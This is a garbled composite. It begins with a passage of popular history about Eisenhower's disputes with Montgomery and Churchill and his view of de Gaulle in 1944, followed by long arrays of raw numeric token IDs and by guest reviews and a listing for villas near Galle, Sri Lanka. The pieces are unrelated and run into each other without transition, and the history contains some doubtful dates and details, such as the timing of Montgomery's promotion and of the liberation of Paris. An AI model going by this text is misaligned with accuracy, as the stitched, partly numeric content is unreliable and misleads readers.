pitcher in the 1930s. Although the hurler possessed a good fastball, he just nibbled at the corners of the plate instead of challenging the hitters. As Montgomery wrote later, "It was always very clear that Ike and I were poles apart when it came to the conduct of the war." Monty believed in "unbalancing the enemy while keeping completely balanced himself." The British general liked to attack on a very narrow front. In some ways Ike thought Montgomery was like George McClellan in the American Civil War, who in dread of defeat always overestimated the enemy's capability. By July 1, when Caen, Normandy's major city, had still not been captured, a frustrated Ike went to Montgomery's headquarters. Monty's lame excuse was "insufficient supplies." Returning to London, Ike went to see Churchill, armed with the recommendation by his friend Vice Air Marshal Tedder to sack Monty. The plan was to have Churchill kick him upstairs to the House of Lords. Over lunch, Churchill waxed witty, "Ah, Monty, in defeat, indomitable; in advance, invincible." After a puff of his Havana, he added, "and in victory, insufferable." The problem at the moment for Eisenhower was that Monty didn't have a victory to be insufferable about. Churchill offered to back Eisenhower in dismissing Montgomery. But Ike could not pull the trigger. Monty was an icon in the British press. The strands of Anglo-U.S. unity would be sorely frayed in the London press uproar over Monty's dumping. To support Ike, Churchill did telephone Monty to tell him that Eisenhower alone would direct the European strategy. He then mollified Montgomery by making him a field marshal. But Monty got the message. On July 7, after the RAF had pummeled Caen into rubble, Monty's troops marched in. But because of the destruction, the seaport Caen was no longer of much strategic value. Yet Monty now thought he would spearhead the main thrust into Germany. When he learned that Patton's army would be heading its tanks toward Frankfurt, he erupted and demanded that Ike come see him, even though he knew the U.S. supreme commander was confined to crutches by a recent knee injury. Monty unleashed a tirade charging that Patton, not Eisenhower, was running the war. He insisted that control of the land campaign to enter Germany be returned to him. In the middle of his harangue he pointed to his new fifth star of field marshal status, which rankled Ike. "Steady, Monty," Ike answered, putting his hand on Monty's knee. "You can't speak to me like that. I'm your boss." Monty then pulled out his plan, dubbed Market-Garden. It called for crossing the lower Rhine in Arnheim into the Netherlands. The original Allied strategy was to capture and secure Antwerp, the biggest port on the North Sea and the closest to the German heartland. Yet Eisenhower agreed to Monty's shift in strategy because he wanted a bridgehead across the Rhine before the thrust of the Allied offensive ebbed. Arnheim was the price of placating Montgomery, but it was precipitously steep. In September the Germans beat back Monty's British airborne paratrooper attack against Arnheim. The successive victories in France had fanned Washington's hopes for a German surrender before the end of September. A glum Eisenhower reported to a disappointed General Marshall that the spring of 1945 would be the earliest end to the war. Although some military historians think that the Market-Garden failure aborted an early ending of the war, Eisenhower, a German by blood himself, never believed the German army would surrender without a last-ditch defense of the Fatherland. The constant demands of Monty and Georgie Patton strained Ike's patience to the breaking point, but the French commander de Gaulle continued to gain Eisenhower's respect. Although FDR still despised the French general, Eisenhower and Churchill shared the belief that de Gaulle represented the only possible rallying figure for the French Resistance. His hauteur, however, was ruffled at any imagined affront to France or to his pride. Churchill told Ike that on those occasions he looked like "a female llama who has just been surprised in her bath." But both viewed de Gaulle as the living monument to the valor of France. Eisenhower told de Gaulle, "I was wrong about you in North Africa." De Gaulle replied, "You are a man, General." Both developed mutual respect.1 With Ike's endorsement, French Resistance troops marched with Ike's old friend "Gee" Gerow as the liberators of Paris on August 29. The Parisians mobbed the French and U.S. soldiers, throwing flowers, offering glasses of champagne, and even propositioning the entering troops. Eisenhower did not participate. It was the conquest of armies, not the liberation of cities, that was his objective. Just as his hero U. S. Grant never had Richmond, the Confederate capital, in his strategic sights, so Eisenhower regarded Berlin as a secondary matter. Churchill--not to mention Montgomery and Patton--saw it differently. Berlin was paramount in the Churchill target of shaking hands with the Russians as far east of the Elbe River as possible. The Berlin question and Operation Anvil/Dragoon caused the most contentious clashes between the two men. They looked at Berlin from different perspectives, Eisenhower as a soldier, Churchill as a statesman; the one as a military tactician, and the other as a political visionary. Churchill's military forte was in the grand strategy. Eisenhower's genius was his mastery of logistics. Eisenhower's priority was always the health, condition, and lives of his men. He wanted to end the war as quickly as possible. Churchill's prime concern was what happened after the war. He had learned from World War I that the cessation of hostilities was not enough if peaceful stability was not achieved. Churchill had opposed Anvil/Dragoon as the landing operation in southern France because it drained military troops and resources from Italy, which he wanted as a launching pad for the Balkans. Churchill was alarmed by the Soviet threat in Romania and Albania, as well as Greece. In August Churchill had met with General Tito of Yugoslavia, with whom his son, Randolph, was serving as a liaison. But to Eisenhower, Churchill's "underbelly of Europe" was one chain of German mountain strongholds that would chew up American lives. In Ike's words: "I don't see the Alps as any 'underbelly.'" Eisenhower opposed Churchill on Berlin, too. Ike was prepared to allow the Soviet armies to reach Berlin first because that could prevent a half million casualties among the forces he headed. The general viewed the situation through a military prism of saving his men. Eisenhower had no illusions about the Soviets. It was just that any decision on Berlin trespassed on the civilian policy-making jurisdiction of the president. From the report that Eisenhower had on the Teheran Conference, Roosevelt had pledged to Stalin to launch no Allied intrusion into the Balkans and to allow Soviet entry into Berlin. Anyway, why should Ike send his armies into areas that Churchill, Stalin, and Roosevelt had already sectored off as Soviet spheres of influence? Eisenhower was no MacArthur. As a professional soldier, he resisted making decisions his commander in chief should properly make. Eisenhower thought that Churchill was justified in his fears of Soviet domination, but if so, Churchill had
[ 8704, 2170, 15, 443, 478, 4415, 369, 6685, 49625, 285, 2427, 281, 247, 2257, 273, 7596, 281, 1361, 1056, 2119, 776, 30170, 285, 3297, 2427, 25863, 15, 380, 34374, 310, 273, 247, 9386, 2629, 342, 512, 39456, 285, 21472, 23308, 15, 15997, 7895, 1512, 15, 23428, 3258, 1652, 42359, 751, 253, 3057, 323, 247, 1980, 308, 2788, 308, 2788, 6254, 285, 253, 1980, 6109, 4481, 512, 1160, 824, 247, 3064, 15, 6610, 13, 309, 871, 326, 443, 261, 4415, 11424, 849, 775, 312, 17662, 253, 3055, 26540, 310, 2130, 533, 10369, 13, 1056, 2119, 368, 897, 779, 2, 844, 4934, 776, 4610, 1527, 285, 574, 690, 16961, 342, 779, 285, 690, 16961, 562, 285, 1046, 673, 359, 2427, 562, 13, 359, 16632, 359, 1871, 11791, 342, 521, 12398, 285, 3962, 4116, 281, 2508, 1051, 7964, 755, 521, 1211, 12955, 273, 388, 10468, 284, 323, 12561, 4672, 187, 187, 21309, 6961, 14, 883, 14, 1508, 53, 361, 27, 361, 27, 361, 59, 187, 187, 4553, 374, 3618, 273, 776, 21834, 7408, 275, 24206, 31642, 359, 574, 1199, 3058, 416, 7, 51, 275, 34374, 322, 1212, 11094, 15, 733, 858, 417, 11034, 387, 512, 15, 1737, 368, 923, 327, 368, 9402, 310, 752, 368, 755, 13, 275, 958, 368, 9402, 1057, 417, 513, 352, 8426, 347, 352, 1057, 417, 9232, 253, 40259, 4278, 15, 380, 11482, 310, 9075, 1020, 342, 271, 10038, 732, 280, 5878, 273, 17076, 13, 12863, 285, 43021, 15, 733, 310, 1121, 13543, 285, 2568, 762, 33834, 15, 844, 1119, 776, 2927, 1900, 1146, 8392, 281, 2060, 5313, 273, 1445, 16, 12517, 15, 733, 369, 594, 32196, 247, 5389, 1728, 15, 4235, 34282, 275, 253, 6363, 13, 4882, 3076, 78, 8185, 13, 2420, 23354, 390, 816, 4361, 407, 253, 6363, 369, 816, 752, 253, 15058, 6960, 1563, 247, 6863, 5880, 7408, 15, 775, 312, 17662, 18621, 247, 806, 966, 11484, 273, 20183, 285, 44409, 327, 253, 22819, 50, 15, 40388, 9791, 939, 84, 285, 9132, 465, 357, 5375, 15, 3032, 4116, 281, 2508, 369, 34093, 15, 380, 2829, 11461, 369, 8644, 15, 844, 816, 2206, 896, 285, 45066, 1223, 344, 18621, 253, 2739, 15, 380, 2739, 369, 17319, 15, 775, 312, 17662, 369, 253, 3962, 3167, 285, 25945, 2567, 15, 844, 16575, 15695, 2878, 15, 3824, 308, 2788, 308, 2788, 6254, 24986, 13013, 369, 671, 253, 3962, 21205, 15, 754, 369, 342, 441, 1561, 884, 29202, 273, 247, 4481, 1067, 342, 247, 1161, 1771, 10112, 15, 844, 812, 417, 9331, 253, 34374, 4750, 390, 39456, 387, 512, 15, 733, 369, 6313, 41466, 15, 844, 651, 5583, 4122, 281, 3780, 15, 733, 369, 271, 2793, 359, 588, 1620, 7740, 15, 443, 478, 4415, 369, 1900, 2130, 281, 3794, 281, 776, 9762, 285, 858, 594, 275, 247, 14793, 8142, 15, 1500, 1160, 253, 1232, 273, 30170, 253, 34374, 45871, 285, 3477, 15, 844, 3524, 281, 1091, 581, 1388, 15, 187, 187, 9387, 3627, 7132, 14, 883, 14, 1717, 53, 361, 27, 361, 27, 361, 59, 187, 187, 1231, 11791, 323, 1249, 1897, 275, 322, 1212, 11094, 34374, 432, 990, 273, 3919, 285, 8839, 7636, 253, 1659, 15, 3973, 273, 512, 443, 478, 4415, 556, 271, 8644, 2285, 627, 27, 24986, 7080, 13, 85, 2788, 14, 85, 2788, 6254, 285, 775, 312, 17662, 13, 44760, 7205, 285, 26540, 403, 27364, 5322, 952, 285, 858, 3253, 281, 1056, 2119, 359, 403, 1907, 247, 1175, 673, 15, 443, 478, 4415, 369, 671, 6685, 9371, 285, 9577, 512, 776, 7418, 3533, 15, 1422, 452, 3426, 11068, 275, 253, 44760, 13, 775, 312, 17662, 13738, 1507, 368, 13, 2722, 368, 3253, 285, 1014, 4245, 368, 767, 1980, 15169, 281, 897, 534, 369, 1663, 9371, 15, 2635, 344, 3553, 368, 281, 4264, 436, 1659, 407, 4834, 533, 344, 310, 1900, 2130, 327, 253, 4481, 604, 368, 878, 2712, 390, 281, 3959, 12478, 273, 253, 44760, 15, 754, 26604, 858, 690, 12701, 1078, 359, 7244, 273, 253, 4957, 359, 2546, 323, 3066, 443, 478, 4415, 15, 1707, 310, 247, 1824, 28576, 313, 664, 7636, 352, 10, 285, 309, 5583, 368, 1642, 775, 312, 17662, 281, 4489, 247, 4564, 273, 18345, 20321, 323, 368, 15, 844, 574, 374, 5753, 313, 23, 285, 577, 807, 1711, 10, 275, 776, 1387, 285, 359, 1869, 253, 2317, 369, 8644, 323, 731, 347, 597, 812, 1408, 1475, 13, 253, 44760, 10329, 310, 1077, 1943, 15, 443, 478, 4415, 556, 247, 278, 13903, 5202, 285, 359, 497, 13476, 281, 320, 627, 672, 597, 403, 33567, 15, 4923, 359, 574, 2151, 285, 776, 20606, 342, 441, 359, 858, 417, 971, 281, 4288, 2080, 323, 8184, 30546, 15, 844, 2427, 281, 443, 4781, 2067, 2069, 313, 1229, 14, 1449, 1054, 10, 1097, 407, 246, 2788, 246, 2788, 285, 1113, 285, 1663, 10490, 253, 13986, 7574, 13, 352, 310, 2120, 273, 5322, 16999, 285, 15114, 15, 496, 2087, 368, 588, 878, 246, 2788, 14, 85, 2788, 281, 755, 281, 253, 3874, 285, 281, 253, 11600, 13, 352, 310, 1512, 3511, 281, 2940, 627, 285, 3936, 670, 1458, 14, 938, 1054, 15, 1394, 476, 16263, 247, 660, 37449, 627, 604, 368, 971, 15, 733, 369, 1774, 323, 441, 281, 10831, 275, 253, 6150, 594, 2761, 1046, 1388, 359, 2427, 281, 253, 11600, 15, 380, 1682, 1659, 323, 17120, 285, 3340, 342, 1355, 5753, 310, 3094, 267, 49787, 3702, 313, 10383, 854, 1054, 9549, 407, 246, 2788, 14, 85, 2788, 481, 309, 513, 417, 1158, 352, 310, 3477, 281, 2940, 627, 984, 273, 253, 4250, 15, 7214, 2378, 627, 497, 1943, 10212, 285, 359, 812, 417, 4901, 13, 253, 1551, 273, 673, 352, 369, 13491, 285, 11874, 285, 20126, 2217, 281, 320, 4999, 323, 5753, 13, 359, 7636, 352, 15, 380, 11600, 310, 417, 973, 13496, 2167, 13, 4496, 3877, 13, 604, 352, 310, 1774, 323, 368, 27, 627, 403, 417, 5101, 3026, 84, 3707, 247, 1643, 33437, 407, 247, 1980, 5599, 15, 1292, 323, 441, 352, 369, 417, 247, 1943, 2968, 13, 359, 651, 3324, 247, 8335, 281, 1790, 327, 253, 7537, 15, 831, 1659, 310, 8644, 323, 3802, 1064, 3485, 285, 368, 12832, 10831, 2190, 253, 6773, 15, 844, 651, 1705, 2393, 4131, 13, 818, 14, 25, 312, 285, 3297, 7357, 884, 312, 13, 1078, 352, 4850, 1077, 3511, 15, 380, 11600, 369, 1620, 22299, 672, 359, 497, 627, 15, 775, 312, 17662, 310, 247, 1270, 26540, 285, 309, 7052, 5583, 281, 1642, 779, 281, 4417, 5899, 24206, 418, 1164, 266, 47209, 323, 368, 387, 458, 284, 2378, 15, 1876, 275, 512, 352, 369, 247, 1270, 2793, 285, 359, 7964, 5583, 322, 1212, 11094, 44760, 15, 187, 187, 17534, 2101, 15709, 18880, 342, 247, 3055, 46894, 6363, 285, 4980, 5956, 84, 835, 673, 9572, 1335, 347, 368, 4264, 253, 2317, 3753, 285, 34131, 408, 414, 275, 436, 1077, 1711, 13986, 21441, 44760, 15, 187, 187, 47, 383, 1070, 275, 253, 4766, 273, 247, 1781, 45788, 10329, 342, 30108, 1981, 7139, 285, 7968, 1452, 38811, 13, 776, 44760, 310, 760, 247, 1458, 2909, 4446, 432, 443, 4781, 10079, 13, 253, 954, 973, 14, 4304, 22431, 2846, 275, 10586, 24206, 31642, 15, 187, 13569, 3669, 1523, 4158, 281, 2085, 24904, 2317, 285, 19595, 11068, 323, 697, 12958, 13, 352, 310, 247, 9841, 14, 16789, 1283, 394, 5331, 767, 14, 296, 263, 728, 3652, 534, 6131, 767, 1781, 49130, 13, 1016, 342, 247, 3055, 17120, 6363, 285, 247, 480, 317, 86, 29935, 16, 8158, 6985, 15, 187, 510, 49130, 403, 13750, 407, 37039, 2336, 395, 1240, 84, 5909, 562, 4830, 253, 11673, 2575, 10329, 534, 15492, 28677, 1977, 432, 253, 2419, 15, 4129, 8763, 1977, 13, 253, 35604, 784, 7219, 273, 253, 3236, 1283, 394, 5331, 3236, 7302, 313, 10002, 434, 753, 281, 320, 247, 29622, 273, 2144, 281, 253, 13986, 10188, 560, 5140, 10, 2097, 326, 253, 1899, 273, 3652, 3400, 2761, 247, 1007, 483, 689, 253, 8704, 2170, 15, 187, 1552, 18880, 1969, 4146, 24078, 32261, 1969, 9090, 10268, 9268, 13, 327, 806, 5254, 13, 310, 13750, 407, 1048, 4618, 30352, 447, 15, 733, 671, 556, 721, 1781, 8323, 285, 495, 4021, 11008, 4933, 247, 43273, 12614, 1859, 273, 253, 8704, 14700, 13, 480, 1947, 868, 285, 268, 15242, 4910, 15, 187, 510, 767, 49130, 476, 320, 32346, 2366, 390, 11794, 15, 5815, 18880, 310, 4336, 9070, 432, 253, 643, 281, 5416, 11068, 15, 187, 14358, 49130, 452, 644, 12514, 4349, 85, 1037, 16789, 275, 7562, 342, 253, 2892, 273, 436, 1077, 1711, 3652, 13, 533, 342, 247, 4980, 15075, 327, 5956, 13, 2317, 285, 4602, 281, 3753, 15, 496, 247, 26272, 273, 697, 21904, 708, 310, 25701, 342, 41450, 17076, 432, 253, 13986, 2180, 1690, 1781, 1740, 20731, 20534, 15, 187, 4769, 9572, 1335, 347, 368, 4264, 253, 19951, 5956, 285, 762, 33834, 18997, 273, 253, 9956, 285, 253, 2969, 41645, 273, 1146, 2810, 281, 3753, 15, 20564, 13, 443, 4781, 10079, 285, 253, 8530, 13986, 10188, 560, 403, 4354, 2810, 2217, 323, 18216, 13, 12701, 285, 17552, 15, 380, 4633, 285, 30101, 914, 1403, 255, 9821, 285, 388, 24524, 324, 86, 8754, 11600, 310, 760, 1384, 2909, 1977, 15, 187, 9, 7845, 3877, 326, 1677, 697, 1781, 30352, 447, 13, 22298, 12866, 13, 285, 1527, 17120, 6363, 327, 253, 806, 5254, 13, 359, 14938, 326, 352, 310, 417, 2104, 281, 2997, 12958, 342, 1355, 2151, 323, 5252, 4606, 2698, 187, 510, 8530, 346, 510, 10315, 5967, 14469, 3, 1969, 247, 45497, 407, 253, 1533, 3816, 628, 22717, 13, 47569, 378, 11415, 1969, 285, 253, 5389, 11600, 816, 884, 2909, 1977, 15, 187, 56, 18279, 187, 5072, 932, 476, 320, 6960, 390, 247, 4417, 476, 320, 14565, 407, 2720, 11461, 15, 187, 30389, 7957, 2908, 275, 253, 4142, 187, 187, 1231, 403, 275, 247, 1077, 7107, 16252, 24092, 15, 1284, 776, 1728, 310, 387, 253, 990, 273, 247, 3055, 6406, 3793, 8070, 7137, 310, 2761, 1327, 2226, 290, 15, 187, 187, 1231, 574, 253, 954, 15143, 4564, 273, 1897, 14596, 342, 399, 1100, 73, 285, 7069, 438, 86, 15, 380, 18880, 310, 14331, 285, 604, 2712, 253, 7963, 1053, 626, 513, 352, 8426, 15, 380, 14516, 497, 6685, 11453, 285, 2238, 275, 43045, 4616, 13, 10301, 12645, 3966, 15, 844, 476, 626, 5583, 436, 1659, 2217, 2, 187, 187, 3074, 266, 6961, 14, 2693, 14, 1093, 53, 361, 27, 361, 27, 361, 59, 187, 187, 6067, 3297, 369, 8839, 3962, 15, 329, 5389, 10507, 1977, 275, 253, 19607, 428, 359, 812, 3698, 30552, 432, 776, 2336, 7447, 285, 627, 497, 1547, 3987, 40382, 2, 7069, 438, 86, 285, 399, 1100, 73, 497, 253, 3962, 14516, 15, 1583, 2427, 1840, 285, 4457, 281, 1056, 776, 3297, 347, 9848, 285, 30357, 347, 1896, 15, 380, 2739, 597, 18621, 323, 441, 369, 17319, 2, 5220, 253, 3722, 369, 594, 9848, 15, 844, 1007, 3579, 281, 10884, 2, 187, 187, 34, 3757, 265, 6620, 14, 2640, 14, 746, 53, 361, 27, 361, 27, 361, 59, 187, 187, 11478, 3296, 757, 14, 16796, 5651, 17502, 416, 7566, 17100, 416, 300, 413, 2378, 753, 346, 28579, 6403, 626, 512, 594, 33631, 285, 1333, 494, 347, 952, 651, 3798, 452, 441, 2868, 28, 954, 8450, 403, 5061, 333, 494, 13, 597, 5108, 275, 247, 2317, 326, 642, 3159, 556, 2455, 5966, 449, 1893, 309, 1089, 4266, 387, 247, 2957, 323, 3000, 2820, 281, 6266, 436, 21653, 15512, 273, 41466, 15, 1244, 619, 2793, 627, 15, 831, 310, 247, 1728, 15, 1244, 247, 35514, 15, 1680, 6898, 342, 2389, 285, 16053, 285, 5890, 3753, 660, 592, 15, 380, 2793, 588, 320, 347, 3055, 347, 368, 971, 352, 281, 320, 15, 1422, 476, 5206, 281, 755, 281, 871, 7069, 438, 86, 285, 399, 1100, 73, 428, 665, 403, 407, 2080, 253, 2343, 652, 10558, 14516, 309, 1849, 2455, 1313, 428, 390, 368, 476, 10507, 275, 253, 9848, 18880, 428, 534, 310, 1014, 625, 23535, 685, 253, 7968, 1804, 15, 380, 1728, 310, 32420, 1977, 275, 253, 9741, 15, 1422, 1833, 923, 594, 1142, 30553, 273, 4759, 368, 1833, 564, 896, 1728, 342, 247, 1027, 40961, 15, 1422, 588, 923, 30552, 15, 1244, 11291, 1815, 661, 15, 1244, 759, 317, 4121, 15, 1244, 428, 604, 368, 1472, 13476, 428, 368, 1537, 755, 281, 2525, 616, 23535, 2151, 285, 4089, 616, 39311, 3347, 1132, 253, 18542, 1046, 1024, 285, 840, 15, 1893, 309, 5476, 253, 1682, 1039, 281, 6266, 619, 3297, 310, 407, 3981, 326, 309, 1669 ]	surrounding area. Gizelle was extremely accommodating and went to a lot of trouble to help make sure our booking and stay went smoothly. The Villa is of a wonderful standard with all amenities and stunning gardens. Very secure too. Fantastic little extras like the contact for a local Tuk Tuk driver and the local mobile phone all made such a difference. Finally, I know that Giselle explains how Chaminda the private chef is available but seriously, make sure you use him! We kept our options open and had some meals with him and some meals out and every time we went out, we wished we'd stayed with his cooking and perfect attention to detail... definitely get his own variant of Hoppas for breakfast!! Robert2016-11-23T00:00:00Z After 2 weeks of our cycling trip in Sri Lanka we had much needed R&R in Villa Sapphire. It did not disappoint at all. What you see on you tube is what you get, in fact you tube does not do it justice as it does not capture the finer details. The decor is tasteful with an eclectic mix of furniture,arts and crafts. It is opulent and yet understated. We found our eyes always being drawn to individual piece of art/craft. It was so relaxing a beautiful home. Swimming in the pool, playing badminton,table tennis or just reading by the pool was just what the Doctor ordered following a tight cycle trip. Chaminda cooked a first class meal of surf and turf on the BBQ. Giant prawns and meat kababs. His attention to detail was exemplary. The table arrangement was amazing. We just sat back and chilled while he cooked the food. The food was delicious. Chaminda was the perfect host and entertaining company. We thoroughly spoilt. Our Tuk Tuk driver Kosolo was also the perfect gentleman. He was with us within 10 mins of a phone call with a cheery welcome. We could not fault the Villa staff or amenities at all. It was pure paradise. We would recommend highly to anyone. It was an experience we will never forget. Gizelle was always available to respond to our requests and did so in a timely fashion. She made the process of booking the Villa seamless and easy. We hope to return one day. Paula2017-11-29T00:00:00Z We stayed for 12 days in Sapphire Villa from end of March and absolutely loved the place. First of all Gizelle has an amazing team there: Kosala,tuk-tuk driver and Chaminda, villa manager and chef are genuinely nice people and did everything to make sure we are having a good time. Gizelle was also extremely helpful and answered all our numerous questions. You have complete privacy in the villa, Chaminda greets you, shows you everything and even gives you two local phones to use which was really helpful. Then he leave you to enjoy this place by yourself but he is always available on the phone if you need anything or to offer cleaning of the villa. He kindly did some shopping before we arrived of the items we asked for via Gizelle. There is a water cooler (we loved it) and I recommend you ask Chaminda to buy a couple of spare bottles for you. We had 2 kids (6 and 4 year old) in our group and we thought the space was amazing for them as they could run around, the villa garden is very big. Gizelle has a mango tree and we were lucky to be there when they are ripe. Because we had children and our grandmother with us we did not want to travel far for sightseeing. We went to Galle several times (30-40 min) both by tuk tuk and car and really liked the Dutch fort, it is full of nice shops and restaurants. In general you will need tuk-tuk to get to the town and to the beach, it is too hot to walk there and takes about 15-20 min.You can hire a scooter there if you want. It was important for us to swim in the sea so almost every day we went to the beach. The best place for swimming and especially with small kids is Coral Sanctuary (about 8 min ride by tuk-tuk). I do not think it is easy to walk there because of the heat. Only once there were big waves and we could not enter, the rest of time it was lovely and calm and shallow enough to be safe for kids, we loved it. The beach is not well equipped though, please note, if it is important for you: there are not sunbeds except a few rented by a local guy. But for us it was not a big deal, we would bring a sheet to sit on the sand. This place is amazing for snorkelling and you literally swim among the fish. We would come early morning, 7-8am and stay till 10am, before it gets very hot. The beach was never crowded when we were there. Chaminda is a great chef and I strongly recommend to ask him to cook traditional Sri Lankan curry for you at leas once. All in all it was a great experience and we definitely recommend Sapphire villa. Very Spacious suite with a private plunge pool and modern comforts where time stands still as you enjoy the space nature and tranquillity in this very old Dutch colonial villa. Nestled in the middle of a large lush garden with sprawling trees and picturesque scenery, our villa is only a 15 minutes drive from Galle Town, the most well-known coastal city in Southern Sri Lanka. Deliberately designed to provide ample space and relaxed privacy for its guests, it is a newly- restored 18th century two-storied building which offers two large suites, each with a private swimming pool and a jacuzzi/ bath tub. The suites are surrounded by spacious verandahs opening out onto the terraced garden which gently slopes away from the house. Although hidden away, the ingenious planning of the original 18th century original owner (who's said to be a supplier of material to the Dutch Fortress construction) means that the position of building provides almost a lookout over the surrounding area. This suite -- Sunrise Suite -- obviously facing east, on first floor, is surrounded by long wide balconies. It also has 6 large windows and 3 double doors giving a panoramic view of the surrounding mountains, jungles and paddy fields. The two suites can be booked together or separately. Each suite is completely separated from the other to ensure privacy. Both suites have been sympathetically restored in keeping with the history of this very old building, but with a modern emphasis on comfort, space and connection to nature. In a continuation of its heritage & is decorated with antique furniture from the Dutch period including large four poster beds. Time stands still as you enjoy the peaceful comfort and understated luxury of the rooms and the simple pleasures of being close to nature. Alternatively, Galle Town and the famous Dutch Fortress are easily close enough for exploring, shopping and dining. The popular and renowned Unawatuna and Hikkaduwa beach is only 20 minutes away. (Please note that given its large balconies, staircases, and open swimming pool on the first floor, we regret that it is not able to accept guests with small children for safety reasons.) The famous "The Lighthouse Hotel" -- a masterpiece by the world renown Architect, Geoffrey Bawa -- and the beautiful beach just 10 minutes away. Wifi Meals can be ordered or a cook can be hired by prior arrangement. Breakfast included in the rates We are in a very quiet residential neighbourhood. As our home is at the end of a private street vehicular traffic is almost non existent. We had the most fantastic couple of days staying with Dinesh and Sumudu. The suite is incredible and if anything the photos don't do it justice. The hosts were extremely friendly and kind in arranging transport, restaurant recommendations etc. We can't recommend this place enough! Allan2016-09-18T00:00:00Z Our stay was absolutely perfect. A beautiful hide away in the hills - we could watch monkeys from our veranda and there were hummingbirds! Sumudu and Dinesh were the perfect hosts. They went above and beyond to make our stay as comfortable and enjoyable as possible. The food they cooked for us was delicious! Also the bed was so comfortable. We look forward to returning! Agnes2015-02-19T00:00:00Z Bohemian-Austrian poet Rainer Maria Rilke once said "things aren't all so tangible and sayable as people would usually have us believe; most experiences are unsayable, they happen in a space that no word has ever entered." So I find myself at a loss for words trying to describe this magical slice of paradise. And my experience there. This is a home. And a sanctuary. Is filled with love and poetry and warm nature scents. The experience will be as private as you want it to be. You can choose to get to know Sumudu and Dinesh - who are by far the loveliest hosts I've ever met - or you can hide in the comfortable suite - which is even more gorgeous than the pictures suggest. The home is tucked away in the forest. You'll see so many shades of green you'll go back home with a different palette. You will see monkeys. And chipmunks. And peacocks. And - if you're lucky - you might get to meet their gorgeous children and hear their eldest son play the piano every now and then. So I guess the best way to describe my stay is by saying that I left
[ 2, 5057, 10113, 2165, 47346, 8139, 17702, 395, 187, 187, 1276, 2440, 4450, 281, 897, 428, 246, 20, 3373, 900, 187, 2413, 1358, 73, 471, 41967, 15, 681, 16, 7330, 16, 2640, 16, 520, 16, 5371, 14, 27055, 14, 4697, 14, 936, 14, 2327, 16, 187, 187, 4738, 187, 45879, 1342, 267, 81, 187, 510, 18060, 357, 20908, 310, 8644, 15, 309, 1599, 13, 8746, 5161, 329, 26, 13732, 13, 41399, 81, 3492, 342, 247, 187, 37, 4350, 13, 259, 13409, 13, 495, 29227, 17596, 13, 500, 22227, 13, 7466, 20546, 275, 247, 18176, 10058, 5522, 512, 323, 187, 5, 14840, 32, 12304, 79, 15, 187, 187, 1147, 812, 320, 247, 8357, 3364, 13, 13170, 285, 9940, 3492, 1227, 3440, 4760, 512, 275, 581, 13, 390, 187, 5658, 812, 897, 352, 323, 634, 1735, 15688, 982, 2199, 281, 513, 327, 4450, 5162, 327, 187, 12550, 9853, 68, 15578, 2, 187, 187, 4485, 187, 13117, 607, 303, 52, 4635, 3803, 187, 8497, 326, 387, 1878, 253, 370, 21, 15, 1229, 353, 4350, 34230, 1057, 1646, 281, 452, 1527, 14, 6756, 1329, 13, 187, 70, 15, 72, 15, 654, 2413, 1358, 983, 8159, 550, 15, 6756, 43319, 15, 3024, 4357, 13, 187, 187, 6223, 187, 31853, 64, 36, 187, 24243, 13, 476, 626, 564, 3430, 323, 326, 4376, 15, 11228, 316, 13, 347, 352, 2506, 626, 878, 247, 1612, 6186, 13, 187, 262, 4648, 253, 14914, 434, 15, 187, 187, 3726, 2997, 5213, 7367, 594, 309, 1849, 6960, 581, 795, 3113, 1959, 15076, 64, 281, 187, 37150, 15, 187, 187, 6223, 187, 31853, 64, 36, 187, 2214, 3780, 665, 3249, 896, 285, 9563, 436, 1996, 13, 253, 5522, 7244, 767, 187, 21616, 1897, 846, 15606, 253, 1340, 15, 309, 1353, 1335, 3965, 31597, 309, 1694, 352, 13, 187, 7555, 7782, 281, 6976, 13, 323, 370, 21, 15, 1229, 15, 187, 187, 4485, 187, 91, 23985, 187, 48965, 42, 13, 1310, 368, 971, 247, 2120, 985, 13, 253, 6995, 525, 571, 13160, 406, 505, 13, 534, 310, 247, 9567, 22900, 187, 250, 1288, 12086, 448, 360, 1615, 13, 310, 275, 253, 370, 1438, 14, 2313, 2491, 15, 854, 3, 5181, 14396, 13, 14212, 46, 73, 91, 32394, 187, 23171, 13, 285, 6613, 473, 38, 27, 187, 187, 29, 2413, 1358, 2700, 15, 67, 4462, 10558, 438, 3783, 15, 681, 16, 9198, 22549, 81, 30, 1047, 1671, 31, 187, 187, 262, 434, 247, 5322, 4983, 1127, 13, 604, 368, 1472, 2819, 323, 271, 2168, 6571, 627, 187, 10394, 15, 187, 187, 4485, 187, 2140, 267, 4978, 187, 42, 1353, 417, 2119, 2139, 597, 1900, 1646, 281, 320, 1669, 562, 841, 1897, 13, 533, 12761, 18421, 367, 1864, 187, 18227, 84, 403, 1270, 323, 4715, 436, 2238, 273, 5017, 15, 1707, 403, 8783, 273, 11142, 187, 14996, 16451, 2130, 13, 954, 273, 253, 16666, 403, 2130, 275, 399, 3123, 5981, 281, 897, 187, 3113, 247, 10238, 4697, 13, 285, 597, 452, 253, 954, 19649, 3410, 2086, 2455, 15, 535, 7883, 403, 15527, 25588, 32, 187, 187, 10403, 25588, 22649, 253, 987, 952, 323, 253, 1895, 387, 1133, 13, 824, 347, 19414, 13, 16099, 285, 9469, 16010, 13, 7293, 327, 1016, 2060, 4836, 15, 187, 187, 4015, 66, 18232, 615, 293, 16868, 398, 257, 13, 10399, 13, 11754, 10158, 15, 187, 187, 4015, 66, 556, 3786, 4307, 347, 247, 19394, 7345, 13, 285, 556, 9470, 11073, 3640, 273, 30559, 13, 32337, 13, 28833, 285, 19830, 9360, 13, 347, 973, 347, 19267, 84, 15, 187, 187, 25735, 1050, 4114, 27, 187, 187, 20133, 273, 6875, 275, 13715, 13, 2499, 273, 40892, 13, 22783, 187, 187, 44, 1689, 66, 16251, 1362, 73, 13, 11754, 10158, 15, 187, 187, 44, 1689, 66, 310, 18052, 275, 34121, 18090, 13, 835, 344, 556, 2684, 247, 44067, 14, 34966, 327, 16069, 31788, 27802, 36992, 10185, 15, 3032, 1673, 273, 15040, 671, 3797, 8708, 18090, 285, 11214, 1497, 15, 187, 187, 25735, 1050, 4114, 27, 187, 187, 20133, 273, 6875, 275, 18033, 13428, 13416, 13, 2499, 273, 40892, 13, 22783, 187, 187, 52, 1171, 466, 388, 21796, 314, 777, 13, 11754, 10158, 15, 187, 187, 52, 1171, 466, 6556, 247, 1777, 15, 37, 15, 275, 18033, 13428, 13416, 432, 253, 2499, 273, 40892, 13, 534, 4245, 617, 247, 3862, 3640, 273, 5787, 16775, 13, 1794, 18334, 285, 815, 21401, 15, 187, 187, 25735, 1050, 